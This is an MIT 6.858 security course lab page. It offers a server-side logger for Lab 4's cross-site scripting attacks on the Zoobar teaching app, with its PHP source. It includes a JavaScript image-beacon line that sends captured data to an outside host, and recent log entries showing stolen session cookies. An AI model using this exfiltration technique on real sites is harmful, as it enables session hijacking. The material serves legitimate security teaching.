You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload:
(new Image()).src='https://css.csail.mit.edu/6.858/2020/labs/log.php?' + 'id=my-username' + '&payload=some-string' + '&random=' + Math.random();
The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding.
If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.)
Below are the most recent logged entries, so that you can check if your attack worked:
Fri, 28 Aug 2026 08:52:33 +0000: chiyizi: PyZoobarLogin=grader#3032d5d1eb149bbce867868be68f5c71 Fri, 28 Aug 2026 08:52:29 +0000: chiyizi: PyZoobarLogin=grader#ac3d8db66af03084ca86ad5d9eae239e Fri, 28 Aug 2026 08:52:22 +0000: chiyizi: PyZoobarLogin=grader#3eed31147aebdc3c7cde0bd2eaa689f8 Fri, 28 Aug 2026 08:51:43 +0000: chiyizi: PyZoobarLogin=grader#efb310ad001d71f62d1a11bb8f2c4df1 Fri, 28 Aug 2026 08:50:30 +0000: chiyizi: PyZoobarLogin=grader#71079efe36ab7f5b32a1d2c6af22d4a5 Fri, 28 Aug 2026 08:50:25 +0000: chiyizi: PyZoobarLogin=grader#df903b9f6572bc0cba9b3c3dc6531268 Fri, 28 Aug 2026 08:50:18 +0000: chiyizi: PyZoobarLogin=grader#56de204ff97337f84cb9e5546e40f4ba Fri, 28 Aug 2026 08:45:12 +0000: chiyizi: PyZoobarLogin=grader#b29305bd506bdeafc810c4942628636d Fri, 28 Aug 2026 08:45:07 +0000: chiyizi: PyZoobarLogin=grader#2c921581d7ad20064f000bab56583194 Wed, 19 Aug 2026 09:41:41 +0000: chiyizi: PyZoobarLogin=grader#2e6d83da50102404800947d266584632 Wed, 19 Aug 2026 09:37:37 +0000: chiyizi: PyZoobarLogin=grader
In case you are curious, here is the source code of this page.
<?php do { if (!array_key_exists("id", $_REQUEST)) { break; } $id = $_REQUEST['id']; if (strlen($id) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "ID value is larger than 1000 bytes"; return; } if (!array_key_exists("payload", $_REQUEST)) { header("HTTP/1.0 400 Bad Request"); echo "No payload given"; return; } $payload = $_REQUEST['payload']; if (empty($payload)) { header("HTTP/1.0 400 Bad Request"); echo "Empty payload given"; return; } if (strlen($payload) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "Payload is larger than 1000 bytes"; return; } if (!function_exists('apcu_add')) { header("HTTP/1.0 501 Not Implemented"); echo "APCu not enabled, so no rate limiting; refusing all requests"; return; } if (apcu_add($payload, true, 5) === false) { // exact same $payload was sent in the past 5 seconds header("HTTP/1.0 429 Too Many Requests"); echo "That exact payload was sent very recently; rejecting"; return; } $payload = str_replace(array("\n", "\r"), '.', $payload); $id = str_replace(array("\n", "\r"), '.', $id); $file = fopen("/tmp/6.858-logger.txt", "c+"); if ($file === false) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to open log file"; return; } if (!flock($file, LOCK_EX)) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to lock log file"; return; } $lines = array(); while (!feof($file) && count($lines) < 100) { $lines[] = fgets($file); } ftruncate($file, 0); rewind($file); fwrite($file, date(DATE_RFC2822) . ": " . $id . ": " . $payload . "\n"); foreach ($lines as &$line) { fwrite($file, $line); } flock($file, LOCK_UN); fclose($file); echo "Logged!"; return; } while(0); $link = "(new Image()).src=" . "'https://css.csail.mit.edu/6.858/2020/labs/log.php?'" . " + 'id=my-username'" . " + '&payload=some-string' + '&random='" . " + Math.random()"; ?><!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="labs.css" /> <title>Lab 4 Logging Script</title> </head> <body> <h1>Lab 4 Logging Script</h1> <p> You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload: </p> <pre class="tty"><a href="javascript:void(<?=$link;?>)"><?=$link;?>;</a></pre> <p> The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in <tt>javascript:</tt> links; if this bothers you, try <a href="https://meyerweb.com/eric/tools/dencoder/">URL encoding</a>. </p> <h2>Test form</h2> <p> If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.) </p> <form method="GET" action=""> <label for="id">ID:</label><br /> <input name="id" placeholder="your-mit-username" size="40" /> <i>(some identifier to locate your payload in the log)</i> <br /> <br /> <label for="payload">Payload:</label><br /> <input name="payload" placeholder="some-string" size="40" /> <i>(the information you stole)</i> <br /> <input type="submit" value="Log" name="log_submit" /> </form> <h2>Logged entries</h2> <p> Below are the most recent logged entries, so that you can check if your attack worked: </p> <pre class="tty"><?php $lines = file_get_contents("/tmp/6.858-logger.txt"); echo htmlspecialchars($lines); ?></pre> <h2>Source code</h2> <p>In case you are curious, here is the source code of this page.</p> <pre><?php highlight_file(__FILE__); ?></pre> </body> </html>